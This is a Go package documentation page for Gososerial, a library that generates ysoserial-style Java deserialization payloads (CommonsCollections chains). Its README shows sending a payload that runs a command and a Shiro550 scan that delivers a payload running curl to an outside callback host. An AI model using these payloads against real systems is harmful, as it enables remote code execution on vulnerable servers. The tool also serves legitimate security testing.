gososerial

package module
v0.0.1 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Sep 19, 2022 License: Apache-2.0 Imports: 1 Imported by: 0

README

Gososerial

Introduce

  • Ysoserial is a well-known tool for Java deserialization security

  • No Java environment and no need to download ysoserial.jar file

  • Enter the command to directly obtain the payload, which is convenient for writing security tools

Quick Start

go get github.com/JimmyWA/Gososerial
package main

import gososerial "github.com/JimmyWA/gososerial"

func main()  {
	payload := gososerial.GetCC1("calc.exe")
	......
	sendPayload(payload)
	......
}

Shiro550 Scan Code

......
func TestFindShiro(t *testing.T) {
	target := "http://a.b.c.d:8080/"
	key := shiro.CheckShiroKey(target)
	if key != "" {
		log.Info("find key: %s", key)
	}
	payload := gososerial.GetCC5("curl xxxxx.ceye.io")
	shiro.SendPayload(key, payload, target)
}
......

Reference

4ra1n: https://github.com/4ra1n

ysoserial: https://github.com/frohoff/ysoserial

xray: https://github.com/chaitin/xray

phith0n: https://github.com/phith0n

Documentation

Index

Constants

This section is empty.

Variables

This section is empty.

Functions

func GetAllNames

func GetAllNames() []string

func GetCC1

func GetCC1(cmd string) []byte

func GetCC2

func GetCC2(cmd string) []byte

func GetCC3

func GetCC3(cmd string) []byte

func GetCC4

func GetCC4(cmd string) []byte

func GetCC5

func GetCC5(cmd string) []byte

func GetCC6

func GetCC6(cmd string) []byte

func GetCC7

func GetCC7(cmd string) []byte

Types

This section is empty.

Directories

Path Synopsis
ysoserial

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL